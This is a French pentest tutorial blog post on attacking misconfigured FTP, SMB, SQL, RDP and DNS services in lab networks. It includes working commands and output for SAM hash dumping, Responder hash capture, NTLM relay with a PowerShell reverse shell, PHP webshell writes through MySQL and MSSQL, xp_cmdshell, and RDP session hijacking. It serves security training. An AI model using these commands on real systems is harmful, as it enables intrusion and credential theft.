Attaques et énumération sur les principaux services


Les attaques présentées ci-dessous sont principalement issues de défauts lors de la configuration du service. Elles constituent souvent des quickwins !
Bien sûr, il est essentiel de vérifier la version de chaque service en place. Des vulnérabilités (que nous ne détaillerons pas ici) peuvent être trouvées sur d’anciennes versions (CVE).
FTP
- Port TCP/21
Anonyme
L’authentification anonyme peut être configurée sur des services FTP (le script par défaut de nmap “ftp-anon” permet de remonter cette information). Dans ce cas, lors de la connexion FTP, le nom d’utilisateur “anonymous” et un mot de passe vide peuvent être utilisés.
L’accès anonyme sera probablement restreint mais des informations pourront tout de même potentiellement être accessibles.
Bruteforce
Il est aussi possible de bruteforcer l’accès ftp, voici un exemple de commande avec Medusa :
$ medusa -u swisher -P /usr/share/wordlists/rockyou.txt -h 10.10.11.121 -M ftp
FTP Bounce Attack
Cette attaque consiste à utiliser un serveur ftp comme un rebond vers une autre machine.
Imaginons la situation où un serveur ftp est accessible depuis internet. Si une connexion est possible sur ce serveur (connexion anonyme ou avec un compte compromis), il est possible d’utiliser ce serveur comme rebond pour énumérer les machines du réseau interne, et accéder à des informations concernant des machines non accessibles depuis internet.
C’est la commande PORT qui est détournée afin de pouvoir rebondir sur les autres machines
Nmap intègre directement la possibilité de scanner un réseau via FTP Bounce Attack avec le flag -b
Exemple : nmap -Pn -p80 -b anonymous:password@10.10.110.213 172.17.0.2
Ici on décide de scanner un serveur web interne (172.17.0.2 sur le port 80) en passant par le serveur ftp accessible depuis l’extérieur (10.10.110.213) avec l’utilisateur anonymous
SMB
- Port TCP/445 (historiquement sur les ports TCP 139 et UDP 137 et 138 - toujours supportés)
Null Session
C’est un peu l’équivalent de l’authentification anonyme en FTP. Dans ce cas, il est possible de se connecter en smb à un système sans nom d’utilisateur ni mot de passe.
Voici deux exemples de commande permettant de lister les partages SMB grâce à une null session :
$ smbclient -N -L //10.129.14.128
(-N --> null session ; -L --> liste des partages)
$ smbmap -H 10.129.14.128
—> RPC (Remote Procedure Call)
RPC permet d’exécuter des procédures (fonctions) à distance. Sur Windows, Microsoft propose sa propre implémentation de RPC (utilisée notamment pour l’administration distante) : MSRPC.
Le protocole SMB peut encapsuler du trafic RPC (RPC over SMB).
On peut donc utiliser RPC avec une null session SMB (ici -U permet de spécifier ‘username%password’) :
$ rpcclient -U'%' 10.10.110.17
rpcclient $> enumdomusers
Liste de commandes RPC : Cheetsheat RPC
Il est aussi possible d’utiliser enum4linux (supporte les null sessions) pour énumérer un partage SMB.
Bruteforce et/ou Password Spraying
Dans le cas où la null session n’est pas autorisée, il peut être intéressant de tenter un bruteforce, voire même (de préférence) tenter un password spraying pour éviter de bloquer des comptes.
CrackMapExec permet, entre autre, de faire du password spraying sur du SMB :
$ crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-auth
Ici —local-auth permet de forcer l’authentification en local plutôt que comme un compte de domaine
RCE
La suite Sysinternals propose un ensemble d’outils édités par Microsoft pour :
diagnostiquer les problèmes Windows
superviser les processus, services, fichiers et registres
explorer le système et comprendre son comportement interne
faire de l’administration (et de l’investigation)
Parmi les outils que la suite propose, l’un d’eux nous intéresse plus particulièrement : PsExec
PsExec nous permet d’exécuter des commandes à distance (ou en local)
Nous pouvons utiliser une implémentation Linux de PsExec en python (Impacket PsExec) (nous avons besoin du domaine/username, mot de passe et de l’IP de notre machine cible)
$ impacket-psexec administrator:'Password123!'@10.10.110.17
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.110.17.....
[*] Found writable share ADMIN$
[*] Uploading file EHtJXgng.exe
[*] Opening SVCManager on 10.10.110.17.....
[*] Creating service nbAc on 10.10.110.17.....
[*] Starting service nbAc.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19041.1415]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami && hostname
nt authority\system
WIN7BOX
CrackMapExec permet aussi d’exécuter des commandes à distance, via CMD ou Powershell
$ crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 19041 (name:WIN7BOX) (domain:.) (signing:False) (SMBv1:False)
SMB 10.10.110.17 445 WIN7BOX [+] .\Administrator:Password123! (Pwn3d!)
SMB 10.10.110.17 445 WIN7BOX [+] Executed command via smbexec
SMB 10.10.110.17 445 WIN7BOX nt authority\system
L’adresse IP peut être une plage d’adresses
L’option -x permet de spécifier la commande à exécuter avec cmd. Pour exécuter une commande Powershell, l’option -X sera privilégiée
Voici une liste de commandes CrackMapExec utiles :
Dans un réseau avec plusieurs machines qui partagent le même compte Administrateur local, il est possible d’énumérer les utilisateurs connectés sur toutes les machines du réseau
$ crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 18362 (name:WIN7BOX) (domain:WIN7BOX) (signing:False) (SMBv1:False) SMB 10.10.110.17 445 WIN7BOX [+] WIN7BOX\administrator:Password123! (Pwn3d!) SMB 10.10.110.17 445 WIN7BOX [+] Enumerated loggedon users SMB 10.10.110.17 445 WIN7BOX WIN7BOX\Administrator logon_server: WIN7BOX SMB 10.10.110.17 445 WIN7BOX WIN7BOX\jurena logon_server: WIN7BOX SMB 10.10.110.21 445 WIN10BOX [*] Windows 10.0 Build 19041 (name:WIN10BOX) (domain:WIN10BOX) (signing:False) (SMBv1:False) SMB 10.10.110.21 445 WIN10BOX [+] WIN10BOX\Administrator:Password123! (Pwn3d!) SMB 10.10.110.21 445 WIN10BOX [+] Enumerated loggedon users SMB 10.10.110.21 445 WIN10BOX WIN10BOX\demouser logon_server: WIN10BOX
Il est possible d’extraire la base SAM de la machine distante
$ crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 18362 (name:WIN7BOX) (domain:WIN7BOX) (signing:False) (SMBv1:False) SMB 10.10.110.17 445 WIN7BOX [+] WIN7BOX\administrator:Password123! (Pwn3d!) SMB 10.10.110.17 445 WIN7BOX [+] Dumping SAM hashes SMB 10.10.110.17 445 WIN7BOX Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe::: SMB 10.10.110.17 445 WIN7BOX Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB 10.10.110.17 445 WIN7BOX DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB 10.10.110.17 445 WIN7BOX WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:5717e1619e16b9179ef2e7138c749d65::: SMB 10.10.110.17 445 WIN7BOX jurena:1001:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634::: SMB 10.10.110.17 445 WIN7BOX demouser:1002:aad3b435b51404eeaad3b435b51404ee:4c090b2a4a9a78b43510ceec3a60f90b::: SMB 10.10.110.17 445 WIN7BOX [+] Added 6 SAM hashes to the database
Si nous avons un hash (notamment grâce à une extraction de la base SAM), nous pouvons l’utiliser pour faire un Pass-the-Hash (PtH) (s’authentifier avec un hash plutôt que le mot de passe)
$ crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 19041 (name:WIN7BOX) (domain:WIN7BOX) (signing:False) (SMBv1:False) SMB 10.10.110.17 445 WIN7BOX [+] WIN7BOX\Administrator:2B576ACBE6BCFDA7294D6BD18041B8FE (Pwn3d!)
Attaque par authentification forcée
Il est possible d’abuser du protocole SMB, en créant un faux serveur SMB pour récupérer les hashs NTLM.
Pour ça, nous pouvons utiliser Responder
$ sudo responder -I ens33
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.6.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.198]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Current Session Variables:
Responder Machine Name [WIN-2TY1Z1CIGXH]
Responder Domain Name [HF2L.LOCAL]
Responder DCE-RPC Port [48162]
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Browser Election)
[*] [MDNS] Poisoned answer sent to 10.10.110.17 for name mysharefoder.local
[*] [LLMNR] Poisoned answer sent to 10.10.110.17 for name mysharefoder
[*] [MDNS] Poisoned answer sent to 10.10.110.17 for name mysharefoder.local
[SMB] NTLMv2-SSP Client : 10.10.110.17
[SMB] NTLMv2-SSP Username : WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash : demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:0101000000000000B09B51939BA6D40140C54ED46AD58E890000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000004289286EDA193B087E214F3E16E2BE88FEC5D9FF73197456C9A6861FF5B5D3330000000000000000
Lors de la résolution de nom les étapes de vérifications sont les suivantes :
Enregistrement dans fichier hosts (C:\Windows\System32\Drivers\etc\hosts)
Si aucun enregistrement n’est trouvé, vérification dans le cache DNS local
Si aucun enregistrement n’est trouvé, requête au serveur DNS configuré
Si tout échoue, requête multicast pour demander l’adresse IP du partage de fichiers (LLMNR : Link-Local Multicast Name Resolution)
\==> C’est dans la dernière étape (lorsque toutes les précédentes résolutions ont échouées, par exemple si le partage de fichier requêté est mal orthographié) que Responder répond à la requête Multicast. Ainsi la victime fait confiance au faux serveur qui peut lui “voler” des credentials
\==> Ici, le hash récupéré peut être craqué hors ligne avec hashcat
Relai NTLM
Il est aussi possible de relayer le hash capturé vers une autre machine.
Pour ça, il est nécessaire en amont de passer SMB en OFF dans le fichier de configuration de Responder (/etc/responder/Responder.conf). En effet, en mettant SMB = Off, Responder n’acceptera pas la connexion SMB de la victime, il capturera le challenge/réponse NTLM et le redirigera vers ntlmrelayx.
Il est ensuite possible d’exécuter la commande suivante pour relayer l’authentification de la victime sur une machine cible (serveur SMB) et exécuter une commande une fois la connexion SMB effectuée
$ impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e [Reverse shell en Powershell encodé en base64]'
—no-http-server permet de désactiver le serveur HTTP intégré. Par défaut ntlmrelayx écoute sur SMB et HTPP pour capturer des authentifications NTLM. Ici, on n’écoute que sur SMB
—smb2support permet d’activer la compatibilité SMB2/SMB3 (par défaut c’est SMB1), celà permet de relayer des authentifications vers des hôtes modernes qui n’acceptent plus SMB1
En ouvrant un netcat en écoute, on obtient bien un reverse shell une fois qu’une victime s’est authentifiée sur la cible
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.110.133] from (UNKNOWN) [10.10.110.146] 52471
PS C:\Windows\system32> whoami;hostname
nt authority\system
WIN11BOX
SQL
Nous parlerons ici des bases de données relationnelles MySQL et MSSQL.
MSSQL - port TCP/1433 et UDP/1434 (en mode “caché”, MSSQL utilise le port TCP/2433)
MySQL - port TCP/3306
Comme pour le FTP et le SMB, si le serveur SQL a mal été configuré, il est potentiellement possible qu’une authentification “anonymous” soit autorisée ou qu’un utilisateur n’ait pas de mot de passe.
Il existe plusieurs clients pour se connecter à un serveur SQL : mysql, sqlcmd, sqsh, mssqlclient.py
$ mysql -u swish3r -pPassword123 -h 10.129.20.13
$ sqlcmd -S SRVMSSQL -U swish3r -P 'MyPassword!' -y 30 -Y 30
$ sqsh -S 10.129.203.7 -U swish3r -P 'MyPassword!' -h
$ mssqlclient.py -p 1433 swish3r@10.129.203.7
Exécution de commandes
MSSQL a une procédure stockée étendue (permettant d’étendre les fonctionnalités de la BDD) qui nous permet d’exécuter des commandes système avec du SQL : xp_cmdshell (désactivée par défaut)
Les droits attribués aux process Windows lancés via xp_cmdshell sont les mêmes droits que ceux du compte de service SQL Server
Si xp_cmdshell n’est pas autorisé, il est possible de l’autoriser soit même si nous avons les privilèges adéquats
-- To allow advanced options to be changed.
EXECUTE sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXECUTE sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
Concernant MySQL, il est possible de créer des “fonctions définies par l’utilisateur” (User Defined Functions) qui nous permettraient d’exécuter du code C/C++ en tant que fonction SQL (exemple ici)
Ecriture de fichiers
Il peut être intéressant de pouvoir écrire un fichier sur un serveur. Imaginons par exemple avoir le droit d’écrire un fichier dans le répertoire du serveur web, il pourrait être possible d’exécuter ce fichier en accédant à sa page depuis un navigateur.
MySQL
mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php'; Query OK, 1 row affected (0.001 sec)
La variable globale secure_file_priv permet de limiter les effets de l’écriture et lecture de données via les déclarations LOAD DATA, SELECT … INTO OUTFILE ou la fonction LOAD_FILE()
La variable secure_file_priv est paramétrée de la manière suivante :
Si elle est vide, la variable n’a aucun effet (déconseillé)
Si elle contient le nom d’un répertoire, alors le serveur limite les exports/imports sur les fichiers dans ce répertoire
Si elle est NULL, le serveur interdit les opérations d’export/import
Dans l’exemple suivant, la variable est vide, nous pouvons donc écrire et lire des données sur le serveur :
mysql> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.005 sec)
MSSQL
1> DECLARE @OLE INT 2> DECLARE @FileID INT 3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT 4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1 5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>' 6> EXECUTE sp_OADestroy @FileID 7> EXECUTE sp_OADestroy @OLE 8> GO
Pour écrire des fichiers avec MSSQL, le paramètre Ole Automation Procedures doit être activé (pour l’activer, il faut des privilèges admin)
1> sp_configure 'show advanced options', 1 2> GO 3> RECONFIGURE 4> GO 5> sp_configure 'Ole Automation Procedures', 1 6> GO 7> RECONFIGURE 8> GO
Lecture de fichiers
- MySQL
mysql> select LOAD_FILE("/etc/passwd");
+--------------------------+
| LOAD_FILE("/etc/passwd")
+--------------------------------------------------+
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<SNIP>
Comme vu précédemment, c‘est la manière dont la variable secure_file_priv est configurée qui détermine nos droits de lecture sur tel ou tel fichier du serveur
- MSSQL
1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO
BulkColumn
-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should
(1 rows affected)
Par défaut, MSSQL autorise la lecture sur tous les fichiers du serveur sur lesquels le compte à les droits de lecture
Récupération du hash du compte de service MSSQL
Comme vu pour le protocole SMB, il est possible de créer un faux serveur SMB qui nous permettrait de récupérer le hash du compte de service MSSQL.
Les procédures stockées xp_subdirs et xp_dirtree permettent, via le protocole SMB, de récupérer une liste de répertoires enfants d’un répertoire parent spécifique. Ainsi, en utilisant une de ces procédures stockées pour pointer vers le serveur SMB, la fonctionnalité de listing des sous-répertoire va forcer le serveur à s’authentifier et donc envoyer un hash NTLMv2 au serveur.
1> EXEC master..xp_dirtree '\\10.10.110.17\share\'
2> GO
subdirectory depth
--------------- -----------
OU
1> EXEC master..xp_subdirs '\\10.10.110.17\share\'
2> GO
HResult 0x55F6, Level 16, State 1
xp_subdirs could not access '\\10.10.110.17\share\*.*': FindFirstFile() returned error 5, 'Access is denied.'
En ayant lancé un Responder en amont, on reçoit bien le hash NTLMv2 du compte de service MSSQL :
$ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
<SNIP>
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.110.17
[SMB] NTLMv2-SSP Username : SRVMSSQL\demouser
[SMB] NTLMv2-SSP Hash : demouser::WIN7BOX:5e3ab1c4380b94a1:A18830632D52768440B7E2425C4A7107:0101000000000000009BFFB9DE3DD801D5448EF4D0BA034D0000000002000800510053004700320001001E00570049004E002D003500440050005A0033005200530032004F005800320004003400570049004E002D003500440050005A0033005200530032004F00580013456F0051005300470013456F004C004F00430041004C000300140051005300470013456F004C004F00430041004C000500140051005300470013456F004C004F00430041004C0007000800009BFFB9DE3DD80106000400020000000800300030000000000000000100000000200000ADCA14A9054707D3939B6A5F98CE1F6E5981AC62CEC5BEAD4F6200A35E8AD9170A0010000000000000000000000000000000000009001C0063006900660073002F00740065007300740069006E006700730061000000000000000000
Impersonate
SQL Server a une permission IMPERSONATE.
Pour savoir quels utilisateurs nous pouvons impersonate, la commande est la suivante :
1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO
name
-----------------------------------------------
sa
ben
valentin
(3 rows affected)
L’objectif étant ici d’escalader ses privilèges, nous pouvons vérifier en parallèle si mon utilisateur courant a le rôle de sysadmin
Un utilisateur sysadmin peut impersonate n’importe qui par défaut, mais pour un utilisateur “non-administrateur” cette permission doit être donnée explicitement
1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go
-----------
swish3r
(1 rows affected)
-----------
0
(1 rows affected)
La valeur 0 spécifie que notre utilisateur courant ne dispose pas du rôle de sysadmin
Il peut donc être intéressant d’impersonate les utilisateurs trouvés précédemment et vérifier si ceux-ci sont sysadmin :
1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO
-----------
sa
(1 rows affected)
-----------
1
(1 rows affected)
Latéralisation - Serveurs liés
MSSQL a une option qui permet de se connecter à une autre instance de SQL Server afin d’exécuter des instructions de transaction SQL. Cela peut donc permettre de se latéraliser sur un autre serveur de base de données.
Pour identifier les serveurs liés :
1> SELECT srvname, isremote FROM sysservers
2> GO
srvname isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS 1
10.0.0.12\SQLEXPRESS 0
(2 rows affected)
Dans la colonne isremote, 1 signifie que c’est un serveur distant, 0 signifie que c’est un serveur lié
On peut donc tenter de se connecter au serveur lié
1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO
------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS Microsoft SQL Server 2019 (RTM sa_remote 1
(1 rows affected)
RDP
- Port TCP/3389
Password Spraying
$ hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Connexion en RDP avec rdesktop ou xfreerdp :
$ rdesktop -u admin -p password123 192.168.2.143
$ xfreerdp /u:admin /p:password123 /v:192.168.2.143
RDP Session Hijacking
Si nous avons réussi à avoir un premier accès RDP avec un compte administrateur local et qu’un utilisateur est connecté à la machine compromise, il est possible de “voler” sa session distante (peut être utile pour escalader ses privilèges par exemple).
Dans l’exemple ci-dessous, nous sommes connectés avec l’utilisateur juurena (avec les droits Administrateur) et notre but est de “voler” la session de l’utilisateur lewen (qui est aussi loggé en RDP)
Pour cela, nous allons utiliser le binaire tscon.exe qui permet aux utilisateurs de se connecter à d’autres sessions.
C:\> tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}
Dans notre exemple :
#{TARGET_SESSION_ID} correspond à 4
#{OUR_SESSION_NAME} correspond à rdp-tcp#13
Cependant, pour pouvoir exécuter tscon, nous avons besoin des droits SYSTEM. Il existe plusieurs manières de passer de droits Administrateur à des droits SYSTEM (utilisation de PsExec, Mimikatz, …).
Dans notre cas, nous allons juste créer un service Windows qui exécutera n’importe quel binaire avec les droits SYSTEM. Le binaire Microsoft sc.exe nous permet de spécifier un nom de service à créer (ici sessionhijack) et un binpath qui correspond à la commande que nous souhaitons exécuter.
C:\> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 4 /dest:rdp-tcp#13"
[SC] CreateService SUCCESS
Il suffit ensuite de lancer la session créée (sessionhijack)
C:\> net start sessionhijack
Un terminal avec la session de l’utilisateur hijackée s’ouvre alors !
Cette méthode n’est plus possible depuis Windows Server 2019
RDP Pass-the-Hash (PtH)
Si nous n’avons pas accès au mot de passe en clair pour un compte mais que nous disposons de son hash, il est possible de se connecter en RDP avec son hash uniquement.
Il y a cependant certaines limitations à cette attaque :
- Il faut que le Restricted Admin Mode soit activé sur la cible (il est désactivé par défaut) (un message d’erreur s’affiche sinon)
Ce mode peut être activé en ajoutant la clé de registre DisableRestrictedAdmin dans HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
Il est alors possible de se connecter avec le hash d’un compte :
$ xfreerdp /v:192.168.220.152 /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9
DNS
- Port UDP/53 (ou TCP/53)
Transfert de zone DNS
Bien que DNS tourne généralement sur un port UDP, le transfert de zone utilise un port TCP pour une transmission de données plus fiable
Si le serveur DNS n’est pas bien configuré, n’importe qui peut effectuer un transfert de zone. Un transfert de zone DNS peut permettre à un attaquant d’en apprendre plus sur l’espace de nom de l’organisation ciblée (potentiellement augmenter la surface d’attaque)
$ dig AXFR @ns1.hacker.com hacker.com
; <<>> DiG 9.11.5-P1-1-Debian <<>> axfr hacker.com @10.129.110.213
;; global options: +cmd
hacker.com. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
hacker.com. 604800 IN AAAA ::1
hacker.com. 604800 IN NS localhost.
hacker.com. 604800 IN A 10.129.110.22
admin.hacker.com. 604800 IN A 10.129.110.21
hr.hacker.com. 604800 IN A 10.129.110.25
support.hacker.com. 604800 IN A 10.129.110.28
hacker.com. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 28 msec
;; SERVER: 10.129.110.213#53(10.129.110.213)
;; WHEN: Mon Oct 11 17:20:13 EDT 2020
;; XFR size: 8 records (messages 1, bytes 289)
Prise de contrôle de domaine
Imaginons que nous ayons trouvé un domaine expiré. Il nous est alors possible d’acheter ce nom de domaine qui pointerait vers notre site malveillant ou alors pour l’utiliser lors d’une campagne de phising.
Il est aussi possible de prendre le contrôle de sous-domaine
Un enregistrement DNS CNAME (Canonical Name) permet de rediriger un nom de domaine vers un autre. Beaucoup d’organisations utilisent des services externes (comme AWS, GitHub, …) pour lesquels ils créent, en général, un sous-domaine, pour que celui-ci pointe vers le service.
Par exemple :
sub.target.com. 60 IN CNAME anotherdomain.com
Le domaine sub.target.com utilise un enregistrement CNAME pour pointer vers anotherdomain.com. Supposons qu’anotherdomain.com expire et qu’il devienne disponible ! Dans un tel cas, n’importe qui qui enregistrerait le nom de domaine anotherdomain.com aurait un contrôle total sur sub.target.com.
Enumération de sous-domaines
Il est possible d’utiliser des outils pour énumérer les sous-domaines d’un domaine, notamment grâce à Subbrute qui permet de faire une attaque bruteforce des sous-domaines ayant des enregistrements DNS.
DNS Spoofing (==> DNS Cache Poisoning)
L’objectif de cette attaque est de modifier des enregistrements DNS légitimes avec de fausses informations afin de rediriger les flux vers un serveur que l’on maitrise. Cette attaque est réalisable de différentes manières :
Avant une attaque MiTM, en interceptant les communications entre un utilisateur et un serveur DNS et en répondant à l’utilisateur avec des enregistrements qui pointent vers un site malveillant
En exploitant une vulnérabilité sur le serveur DNS qui nous permettrait de modifier les enregistrements.
Il est possible de réaliser l’attaque MiTM avec Ettercap
Subscribe to my newsletter
Read articles from Adrien Boigné directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
